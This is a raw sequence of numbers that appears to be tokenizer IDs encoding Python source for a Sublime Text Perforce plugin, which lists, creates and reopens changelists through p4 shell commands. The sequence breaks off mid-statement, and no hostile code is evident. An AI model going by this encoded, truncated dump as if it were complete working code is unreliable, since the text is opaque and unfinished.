3047, 8498, 327, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 1626, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 29892, 3863, 1125, 29871, 13, 4706, 565, 29898, 1311, 29889, 1493, 29889, 1445, 29918, 978, 580, 1125, 13, 9651, 4138, 29918, 978, 29892, 10422, 353, 2897, 29889, 2084, 29889, 5451, 29898, 1311, 29889, 1493, 29889, 1445, 29918, 978, 3101, 13, 13, 9651, 565, 29898, 3624, 2283, 797, 8498, 327, 29898, 12083, 29918, 978, 29892, 10422, 22164, 13, 18884, 2551, 29892, 2643, 353, 12367, 936, 26023, 3047, 8498, 327, 29898, 1311, 29892, 4138, 29918, 978, 29892, 10422, 29897, 13, 9651, 1683, 29901, 13, 18884, 2551, 353, 29871, 29900, 13, 18884, 2643, 353, 376, 2283, 338, 451, 1090, 278, 3132, 3876, 1213, 13, 13, 9651, 4522, 12191, 29898, 8698, 29892, 2643, 29897, 13, 4706, 1683, 29901, 13, 9651, 399, 2753, 2659, 703, 1043, 947, 451, 1712, 263, 934, 1159, 13, 13, 1990, 2431, 10118, 3549, 9527, 936, 26023, 4873, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 2923, 13371, 353, 5159, 13, 4706, 565, 2897, 29889, 2084, 29889, 9933, 29898, 546, 10118, 8582, 29918, 3972, 718, 2897, 29889, 19570, 718, 525, 4262, 936, 12765, 932, 5795, 29889, 3126, 29374, 13, 9651, 285, 353, 1722, 29898, 546, 10118, 8582, 29918, 3972, 718, 2897, 29889, 19570, 718, 525, 4262, 936, 12765, 932, 5795, 29889, 3126, 1495, 13, 9651, 8324, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 9651, 285, 29889, 5358, 580, 13, 13, 9651, 363, 6251, 297, 8324, 29889, 657, 877, 932, 5795, 29374, 13, 18884, 20917, 8269, 353, 5159, 13, 18884, 20917, 8269, 29889, 4397, 29898, 8269, 29889, 657, 877, 978, 8785, 13, 18884, 20917, 8269, 29889, 4397, 29898, 8269, 29889, 657, 877, 735, 3871, 8785, 13, 18884, 2923, 13371, 29889, 4397, 29898, 689, 19667, 8269, 29897, 13, 13, 4706, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 12765, 13371, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 308, 13, 4706, 285, 353, 1722, 29898, 546, 10118, 8582, 29918, 3972, 718, 2897, 29889, 19570, 718, 525, 4262, 936, 12765, 932, 5795, 29889, 3126, 1495, 13, 4706, 8324, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 4706, 6251, 353, 8324, 29889, 657, 877, 932, 5795, 29861, 29886, 17840, 29962, 13, 4706, 285, 29889, 5358, 580, 13, 13, 4706, 1014, 28046, 29889, 4882, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 3529, 1207, 1854, 393, 525, 718, 6251, 1839, 735, 3871, 2033, 718, 376, 338, 6159, 519, 448, 366, 1795, 817, 304, 10715, 3323, 28046, 3992, 29871, 29906, 23157, 13, 13, 4706, 6055, 353, 1014, 28046, 29889, 1359, 29918, 11027, 877, 5894, 10118, 29889, 1491, 28046, 29899, 11027, 1495, 13, 4706, 6055, 29889, 842, 877, 546, 10118, 29918, 8391, 4262, 936, 12765, 932, 742, 6251, 1839, 978, 11287, 13, 4706, 6055, 29889, 842, 877, 546, 10118, 29918, 8391, 4262, 936, 12765, 932, 29918, 6519, 742, 6251, 1839, 12765, 6519, 11287, 13, 4706, 1014, 28046, 29889, 7620, 29918, 11027, 877, 5894, 10118, 29889, 1491, 28046, 29899, 11027, 1495, 13, 13, 29937, 2391, 5399, 287, 4451, 12745, 4004, 13, 1990, 2391, 17817, 3744, 10547, 4899, 29898, 7097, 292, 29889, 4899, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3474, 1125, 13, 4706, 1583, 29889, 7165, 353, 3474, 13, 4706, 3244, 292, 29889, 4899, 17255, 2344, 12035, 1311, 29897, 13, 13, 1678, 822, 14806, 17020, 1762, 2283, 2951, 29928, 3873, 29898, 1311, 29892, 297, 29918, 9507, 1125, 13, 4706, 3132, 4632, 353, 3617, 4032, 10303, 29898, 359, 29889, 2084, 29889, 25721, 29898, 262, 29918, 9507, 876, 13, 4706, 565, 29898, 4645, 4632, 1275, 448, 29896, 1125, 13, 9651, 736, 29871, 29900, 13, 13, 4706, 565, 29898, 4645, 4632, 1275, 376, 4304, 29908, 1125, 13, 9651, 736, 297, 29918, 9507, 13, 13, 4706, 10422, 353, 3132, 4632, 718, 2897, 29889, 19570, 718, 297, 29918, 9507, 29889, 6506, 877, 1966, 742, 2897, 29889, 19570, 467, 6506, 11219, 742, 2897, 29889, 19570, 29897, 13, 13, 4706, 736, 10422, 13, 13, 1678, 822, 8561, 2283, 1293, 4591, 1451, 9477, 391, 29898, 1311, 29892, 297, 29918, 305, 9477, 391, 1220, 1125, 13, 4706, 2066, 29918, 1761, 353, 5159, 13, 4706, 1857, 1792, 353, 3617, 2659, 4591, 29907, 492, 1237, 3135, 580, 13, 4706, 396, 997, 3322, 282, 29946, 6496, 304, 10563, 599, 2066, 515, 1874, 295, 391, 13, 4706, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 6496, 448, 29883, 525, 718, 297, 29918, 305, 9477, 391, 1220, 29961, 29896, 29962, 718, 525, 448, 29884, 525, 718, 1857, 1792, 29897, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 4706, 565, 29898, 1333, 4589, 1125, 13, 9651, 3454, 353, 1121, 29889, 5451, 9012, 580, 13, 9651, 363, 1196, 297, 3454, 29901, 13, 18884, 396, 3349, 278, 1735, 396, 13, 18884, 282, 618, 2248, 353, 1196, 29889, 29878, 2886, 14237, 1495, 13, 18884, 5941, 287, 1445, 353, 1196, 29961, 29900, 29901, 29886, 618, 2248, 29962, 13, 13, 18884, 396, 925, 3013, 278, 10422, 13, 18884, 5941, 287, 1445, 353, 8207, 4286, 7122, 29898, 14941, 287, 1445, 29889, 5451, 11219, 29861, 29941, 29901, 2314, 13, 13, 18884, 934, 29918, 8269, 353, 518, 14941, 287, 1445, 29961, 14941, 287, 1445, 29889, 29878, 2886, 11219, 1495, 29974, 29896, 29901, 5262, 13, 18884, 934, 29918, 8269, 29889, 4397, 703, 1451, 9477, 391, 29901, 376, 718, 297, 29918, 305, 9477, 391, 1220, 29961, 29896, 2314, 13, 18884, 934, 29918, 8269, 29889, 4397, 877, 15300, 7122, 29898, 262, 29918, 305, 9477, 391, 1220, 29961, 29955, 29901, 2314, 416, 13, 18884, 1887, 1445, 353, 1583, 29889, 18455, 17020, 1762, 2283, 2951, 29928, 3873, 29898, 14941, 287, 1445, 29897, 13, 18884, 565, 29898, 2997, 1445, 2804, 29871, 29900, 1125, 13, 462, 1678, 934, 29918, 8269, 29889, 4397, 29898, 2997, 1445, 29897, 13, 462, 1678, 2066, 29918, 1761, 29889, 4397, 29898, 1445, 29918, 8269, 29897, 13, 13, 4706, 736, 2066, 29918, 1761, 13, 13, 1678, 822, 8561, 17817, 3744, 2283, 1293, 29898, 1311, 1125, 13, 4706, 2066, 29918, 1761, 353, 1583, 29889, 9984, 2283, 1293, 4591, 1451, 9477, 391, 18959, 3788, 4381, 3788, 3788, 3788, 3788, 3788, 3788, 4592, 678, 9477, 391, 17077, 13, 13, 4706, 1857, 1792, 353, 3617, 2659, 4591, 29907, 492, 1237, 3135, 580, 13, 4706, 565, 29898, 3784, 1792, 1275, 448, 29896, 1125, 13, 9651, 736, 2066, 29918, 1761, 13, 13, 4706, 396, 997, 3322, 282, 29946, 3620, 304, 10563, 599, 278, 28235, 1874, 295, 2879, 13, 4706, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 3620, 448, 29879, 28235, 448, 29884, 525, 718, 1857, 1792, 416, 13, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 4706, 565, 29898, 1333, 4589, 1125, 13, 9651, 1874, 295, 2879, 353, 1121, 29889, 5451, 9012, 580, 13, 13, 9651, 396, 363, 1269, 1196, 29892, 6597, 278, 1735, 29892, 322, 1065, 282, 29946, 6496, 373, 372, 304, 1051, 599, 278, 2066, 13, 9651, 363, 1874, 295, 391, 1220, 297, 1874, 295, 2879, 29901, 13, 18884, 1874, 295, 391, 9012, 2830, 353, 1874, 295, 391, 1220, 29889, 5451, 877, 25710, 13, 18884, 2066, 29918, 1761, 29889, 21843, 29898, 1311, 29889, 9984, 2283, 1293, 4591, 1451, 9477, 391, 29898, 305, 9477, 391, 9012, 2830, 876, 13, 13, 4706, 736, 2066, 29918, 1761, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 5325, 29918, 1761, 353, 1583, 29889, 9984, 17817, 3744, 2283, 1293, 580, 13, 13, 4706, 822, 1510, 29918, 24561, 29918, 15119, 7295, 13, 9651, 565, 451, 1583, 29889, 5325, 29918, 1761, 29901, 13, 18884, 1014, 28046, 29889, 2704, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 1670, 526, 694, 7120, 714, 2066, 304, 1051, 29889, 1495, 13, 18884, 736, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 1311, 29889, 5325, 29918, 1761, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 4294, 29918, 24561, 29918, 15119, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 4706, 934, 29918, 978, 353, 1583, 29889, 5325, 29918, 1761, 29961, 29886, 17840, 3816, 29941, 29962, 13, 13, 4706, 822, 1722, 29918, 1445, 7295, 13, 9651, 1583, 29889, 7165, 29889, 3150, 29918, 1445, 29898, 1445, 29918, 978, 29897, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 3150, 29918, 1445, 29892, 29871, 29896, 29900, 29897, 13, 13, 13, 1990, 2431, 10118, 1293, 17817, 3744, 10547, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 2391, 17817, 3744, 10547, 4899, 29898, 1311, 29889, 7165, 467, 2962, 580, 13, 13, 29937, 6204, 678, 9477, 391, 4004, 13, 1753, 6204, 1451, 9477, 391, 29898, 8216, 1125, 13, 1678, 396, 3824, 29892, 1653, 385, 4069, 1874, 295, 391, 29892, 591, 674, 769, 679, 278, 1067, 1353, 322, 731, 278, 6139, 13, 1678, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 1735, 448, 29877, 1495, 1678, 13, 1678, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 1678, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 1678, 565, 29898, 3127, 1125, 13, 4706, 736, 29871, 29900, 29892, 4589, 13, 13, 1678, 396, 10987, 278, 6139, 1746, 322, 6623, 372, 13, 1678, 553, 695, 1107, 353, 525, 9868, 11283, 718, 2897, 29889, 1915, 968, 29886, 13, 1678, 5153, 2248, 353, 1121, 29889, 2886, 29898, 2783, 695, 1107, 29897, 718, 7431, 29898, 2783, 695, 1107, 29897, 13, 1678, 17086, 353, 1121, 29889, 2886, 29898, 359, 29889, 1915, 968, 29886, 29930, 29906, 29892, 5153, 2248, 29897, 13, 1678, 1121, 353, 1121, 29961, 29900, 29901, 14273, 2248, 29962, 718, 11297, 29873, 29915, 718, 6139, 718, 1121, 29961, 14273, 355, 17531, 13, 13, 1678, 396, 15154, 599, 2066, 515, 278, 2346, 29892, 591, 864, 963, 304, 7952, 297, 13109, 13, 1678, 2066, 2248, 353, 1121, 29889, 29878, 2886, 703, 10547, 29901, 1159, 13, 1678, 396, 450, 12745, 29901, 4004, 591, 864, 304, 679, 8177, 310, 338, 871, 2198, 565, 727, 29915, 29879, 2066, 297, 278, 2322, 1874, 295, 391, 13, 1678, 565, 29898, 5325, 2248, 1405, 29871, 29953, 29946, 29900, 1125, 13, 4706, 1121, 353, 1121, 29961, 29900, 29901, 5325, 2248, 1385, 13, 13, 1678, 5694, 29918, 305, 9477, 391, 29918, 8216, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 7382, 1445, 29889, 657, 7382, 3972, 3285, 376, 7382, 305, 9477, 391, 29889, 3945, 4968, 525, 29893, 1495, 13, 13, 1678, 1018, 29901, 13, 4706, 5694, 29918, 305, 9477, 391, 29918, 8216, 29918, 1445, 29889, 3539, 29898, 2914, 29897, 13, 1678, 7146, 29901, 13, 4706, 5694, 29918, 305, 9477, 391, 29918, 8216, 29918, 1445, 29889, 5358, 580, 13, 13, 1678, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 1735, 448, 29875, 529, 525, 718, 5694, 29918, 305, 9477, 391, 29918, 8216, 29918, 1445, 29889, 978, 29897, 13, 1678, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 1678, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 1678, 396, 315, 14044, 701, 13, 1678, 2897, 29889, 348, 2324, 29898, 7382, 29918, 305, 9477, 391, 29918, 8216, 29918, 1445, 29889, 978, 29897, 13, 13, 1678, 565, 29898, 3127, 1125, 13, 4706, 736, 29871, 29900, 29892, 4589, 13, 13, 1678, 736, 29871, 29896, 29892, 1121, 13, 13, 1990, 2431, 10118, 4391, 1451, 9477, 391, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 396, 3617, 278, 6139, 13, 4706, 1583, 29889, 7165, 29889, 4294, 29918, 2080, 29918, 15119, 877, 1451, 9477, 391, 12953, 742, 15516, 13, 9651, 1583, 29889, 265, 29918, 15091, 29892, 1583, 29889, 265, 29918, 3167, 29892, 1583, 29889, 265, 29918, 20713, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 1881, 1125, 13, 4706, 2551, 29892, 2643, 353, 6204, 1451, 9477, 391, 29898, 2080, 29897, 13, 4706, 4522, 12191, 29898, 8698, 29892, 2643, 29897, 13, 13, 1678, 822, 373, 29918, 3167, 29898, 1311, 29892, 1881, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 373, 29918, 20713, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 29937, 25249, 9626, 3497, 304, 678, 9477, 391, 13, 1753, 25249, 2283, 1762, 1451, 9477, 391, 29898, 262, 29918, 9507, 29892, 297, 29918, 305, 9477, 391, 1125, 13, 1678, 4138, 29918, 978, 29892, 10422, 353, 2897, 29889, 2084, 29889, 5451, 29898, 262, 29918, 9507, 29897, 13, 13, 1678, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 337, 3150, 448, 29883, 525, 718, 297, 29918, 305, 9477, 391, 718, 525, 13577, 718, 10422, 718, 18793, 1495, 13, 1678, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 1678, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 1678, 565, 29898, 3127, 1125, 13, 4706, 736, 29871, 29900, 29892, 4589, 13, 268, 13, 1678, 736, 29871, 29896, 29892, 1121, 13, 13, 1990, 2391, 1451, 9477, 2879, 2855, 16619, 2283, 4899, 29898, 7097, 292, 29889, 4899, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3474, 1125, 13, 4706, 1583, 29889, 7165, 353, 3474, 13, 4706, 1583, 29889, 1493, 353, 3474, 29889, 4925, 29918, 1493, 580, 13, 4706, 3244, 292, 29889, 4899, 17255, 2344, 12035, 1311, 29897, 13, 13, 1678, 822, 8561, 1451, 9477, 2879, 1293, 29898, 1311, 1125, 13, 4706, 2551, 29892, 10650, 305, 9477, 2879, 353, 3617, 29925, 2548, 1451, 9477, 2879, 890, 13, 13, 4706, 1121, 305, 9477, 2879, 353, 6024, 4373, 742, 525, 4592, 8219, 13, 13, 4706, 565, 29898, 8698, 1125, 13, 9651, 1874, 295, 2879, 353, 10650, 305, 9477, 2879, 29889, 5451, 9012, 580, 13, 13, 9651, 396, 363, 1269, 1196, 29892, 6597, 278, 1735, 13, 9651, 363, 1874, 295, 391, 1220, 297, 1874, 295, 2879, 29901, 13, 18884, 1874, 295, 391, 9012, 2830, 353, 1874, 295, 391, 1220, 29889, 5451, 877, 25710, 13, 462, 13, 18884, 396, 24505, 472, 1023, 1363, 591, 7150, 278, 1874, 295, 391, 297, 278, 11564, 1797, 322, 864, 304, 3013, 716, 322, 2322, 373, 2246, 13, 18884, 1121, 305, 9477, 2879, 29889, 7851, 29898, 29906, 29892, 376, 1451, 9477, 391, 376, 718, 1874, 295, 391, 9012, 2830, 29961, 29896, 29962, 718, 376, 448, 376, 718, 525, 15300, 7122, 29898, 305, 9477, 391, 9012, 2830, 29961, 29955, 29901, 12622, 29871, 13, 13, 4706, 736, 1121, 305, 9477, 2879, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 305, 9477, 2879, 29918, 1761, 353, 1583, 29889, 9984, 1451, 9477, 2879, 1293, 580, 13, 308, 13, 4706, 822, 1510, 29918, 24561, 29918, 15119, 7295, 13, 9651, 565, 451, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29901, 13, 18884, 1014, 28046, 29889, 2704, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 1670, 526, 694, 1874, 295, 2879, 304, 1051, 29889, 1495, 13, 18884, 736, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 1311, 29889, 305, 9477, 2879, 29918, 1761, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 4294, 29918, 24561, 29918, 15119, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 4706, 1874, 295, 391, 1761, 353, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29961, 29886, 17840, 1822, 5451, 877, 25710, 13, 13, 4706, 822, 4337, 29918, 1445, 7295, 13, 9651, 1874, 295, 391, 353, 525, 4592, 29915, 13, 9651, 565, 29898, 2435, 29898, 305, 9477, 391, 1761, 29897, 1405, 29871, 29896, 1125, 396, 9681, 287, 1874, 295, 391, 13, 18884, 1874, 295, 391, 353, 1874, 295, 391, 1761, 29961, 29896, 29962, 13, 9651, 1683, 29901, 13, 18884, 1874, 295, 391, 353, 1874, 295, 391, 1761, 29961, 29900, 29962, 13, 13, 9651, 565, 29898, 305, 9477, 391, 1275, 525, 4373, 29374, 396, 12630, 11733, 13, 18884, 1583, 29889, 7165, 29889, 4294, 29918, 2080, 29918, 15119, 877, 1451, 9477, 391, 12953, 742, 15516, 1583, 29889, 265, 29918, 8216, 29918, 15091, 29892, 1583, 29889, 265, 29918, 8216, 29918, 3167, 29892, 1583, 29889, 265, 29918, 8216, 29918, 20713, 29897, 13, 9651, 1683, 29901, 13, 18884, 2551, 29892, 2643, 353, 25249, 2283, 1762, 1451, 9477, 391, 29898, 1311, 29889, 1493, 29889, 1445, 29918, 978, 3285, 1874, 295, 391, 29889, 13609, 3101, 13, 18884, 4522, 12191, 29898, 8698, 29892, 2643, 416, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 11631, 29918, 1445, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 8216, 29918, 15091, 29898, 1311, 29892, 1881, 1125, 13, 4706, 2551, 29892, 2643, 353, 6204, 1451, 9477, 391, 29898, 2080, 29897, 13, 4706, 565, 29898, 8698, 1275, 29871, 29896, 1125, 13, 9651, 396, 7338, 1461, 278, 1874, 295, 391, 1024, 515, 278, 2643, 13, 9651, 1874, 295, 391, 353, 2643, 29889, 5451, 877, 525, 9601, 29896, 29962, 13, 9651, 396, 25249, 278, 934, 13, 9651, 2551, 29892, 2643, 353, 25249, 2283, 1762, 1451, 9477, 391, 29898, 1311, 29889, 1493, 29889, 1445, 29918, 978, 3285, 1874, 295, 391, 29897, 13, 13, 4706, 4522, 12191, 29898, 8698, 29892, 2643, 29897, 13, 268, 13, 1678, 822, 373, 29918, 8216, 29918, 3167, 29898, 1311, 29892, 1881, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 373, 29918, 8216, 29918, 20713, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1990, 2431, 10118, 16619, 7583, 2283, 1762, 1451, 9477, 391, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 396, 937, 29892, 1243, 565, 278, 934, 338, 1090, 278, 3132, 3876, 13, 4706, 4138, 29918, 978, 29892, 10422, 353, 2897, 29889, 2084, 29889, 5451, 29898, 1311, 29889, 7165, 29889, 4925, 29918, 1493, 2141, 1445, 29918, 978, 3101, 13, 4706, 338, 797, 8498, 327, 353, 1317, 2283, 797, 8498, 327, 29898, 12083, 29918, 978, 29892, 10422, 29897, 13, 13, 4706, 565, 29898, 275, 797, 8498, 327, 2804, 29871, 29896, 1125, 13, 9651, 399, 2753, 2659, 703, 2283, 338, 451, 1090, 278, 3132, 3876, 23157, 13, 9651, 736, 29871, 29900, 13, 13, 4706, 2391, 1451, 9477, 2879, 2855, 16619, 2283, 4899, 29898, 1311, 29889, 7165, 467, 2962, 580, 13, 13, 29937, 3462, 7407, 304, 678, 9477, 391, 12953, 13, 1990, 3462, 3542, 1762, 1451, 9477, 391, 9868, 4899, 29898, 7097, 292, 29889, 4899, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3474, 1125, 13, 4706, 1583, 29889, 7165, 353, 3474, 13, 4706, 1583, 29889, 1493, 353, 3474, 29889, 4925, 29918, 1493, 580, 13, 4706, 3244, 292, 29889, 4899, 17255, 2344, 12035, 1311, 29897, 13, 13, 1678, 822, 8561, 1451, 9477, 2879, 1293, 29898, 1311, 1125, 13, 4706, 2551, 29892, 10650, 305, 9477, 2879, 353, 3617, 29925, 2548, 1451, 9477, 2879, 890, 13, 13, 4706, 1121, 305, 9477, 2879, 353, 13769, 13, 13, 4706, 565, 29898, 8698, 1125, 13, 9651, 1874, 295, 2879, 353, 10650, 305, 9477, 2879, 29889, 5451, 9012, 580, 13, 13, 9651, 396, 363, 1269, 1196, 29892, 6597, 278, 1735, 29892, 322, 1065, 282, 29946, 6496, 373, 372, 304, 1051, 599, 278, 2066, 13, 9651, 363, 1874, 295, 391, 1220, 297, 1874, 295, 2879, 29901, 13, 18884, 1874, 295, 391, 9012, 2830, 353, 1874, 295, 391, 1220, 29889, 5451, 877, 25710, 13, 462, 13, 18884, 396, 24505, 472, 5225, 1363, 591, 7150, 278, 1874, 295, 391, 297, 278, 11564, 1797, 13, 18884, 396, 341, 523, 367, 901, 8543, 304, 2656, 856, 13, 18884, 1874, 295, 391, 29918, 8269, 353, 6796, 1451, 9477, 391, 376, 718, 1874, 295, 391, 9012, 2830, 29961, 29896, 5262, 13, 18884, 1874, 295, 391, 29918, 8269, 29889, 4397, 877, 15300, 7122, 29898, 305, 9477, 391, 9012, 2830, 29961, 29955, 29901, 2314, 416, 13, 462, 13, 18884, 1121, 305, 9477, 2879, 29889, 7851, 29898, 29900, 29892, 1874, 295, 391, 29918, 8269, 29897, 29871, 13, 13, 4706, 736, 1121, 305, 9477, 2879, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 305, 9477, 2879, 29918, 1761, 353, 1583, 29889, 9984, 1451, 9477, 2879, 1293, 580, 13, 308, 13, 4706, 822, 1510, 29918, 24561, 29918, 15119, 7295, 13, 9651, 565, 451, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29901, 13, 18884, 1014, 28046, 29889, 2704, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 1670, 526, 694, 1874, 295, 2879, 304, 1051, 29889, 1495, 13, 18884, 736, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 1311, 29889, 305, 9477, 2879, 29918, 1761, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 4294, 29918, 24561, 29918, 15119, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 4706, 1874, 295, 391, 1761, 353, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29961, 29886, 17840, 3816, 29900, 1822, 5451, 877, 25710, 13, 13, 4706, 822, 679, 29918, 8216, 29918, 1220, 7295, 13, 9651, 1583, 29889, 305, 9477, 391, 353, 1874, 295, 391, 1761, 29961, 29896, 29962, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 2080, 29918, 15119, 877, 1451, 9477, 391, 12953, 742, 15516, 1583, 29889, 265, 29918, 8216, 29918, 15091, 29892, 1583, 29889, 265, 29918, 8216, 29918, 3167, 29892, 1583, 29889, 265, 29918, 8216, 29918, 20713, 29897, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 657, 29918, 8216, 29918, 1220, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 8216, 29918, 15091, 29898, 1311, 29892, 1881, 1125, 13, 4706, 2551, 29892, 2643, 353, 22871, 1762, 1451, 9477, 391, 9868, 29898, 1311, 29889, 305, 9477, 391, 29892, 1881, 29897, 13, 308, 13, 4706, 4522, 12191, 29898, 8698, 29892, 2643, 29897, 13, 268, 13, 1678, 822, 373, 29918, 8216, 29918, 3167, 29898, 1311, 29892, 1881, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 373, 29918, 8216, 29918, 20713, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1990, 2431, 10118, 2528, 3542, 1762, 1451, 9477, 391, 9868, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 3462, 3542, 1762, 1451, 9477, 391, 9868, 4899, 29898, 1311, 29889, 7165, 467, 2962, 580, 13, 13, 29937, 3323, 2415, 4004, 13, 1990, 3323, 2415, 4899, 29898, 7097, 292, 29889, 4899, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3474, 1125, 13, 4706, 1583, 29889, 7165, 353, 3474, 13, 4706, 1583, 29889, 1493, 353, 3474, 29889, 4925, 29918, 1493, 580, 13, 4706, 3244, 292, 29889, 4899, 17255, 2344, 12035, 1311, 29897, 13, 13, 1678, 822, 8561, 1451, 9477, 2879, 1293, 29898, 1311, 1125, 13, 4706, 2551, 29892, 10650, 305, 9477, 2879, 353, 3617, 29925, 2548, 1451, 9477, 2879, 890, 13, 13, 4706, 1121, 305, 9477, 2879, 353, 6024, 4592, 8219, 13, 13, 4706, 1857, 1792, 353, 3617, 2659, 4591, 29907, 492, 1237, 3135, 890, 13, 4706, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 6496, 448, 29883, 2322, 448, 29884, 525, 718, 1857, 1792, 29897, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 4706, 565, 4589, 29901, 13, 9651, 1121, 305, 9477, 2879, 29889, 7323, 580, 13, 13, 4706, 565, 2551, 29901, 13, 9651, 1874, 295, 2879, 353, 10650, 305, 9477, 2879, 29889, 5451, 9012, 580, 13, 13, 9651, 396, 363, 1269, 1196, 29892, 6597, 278, 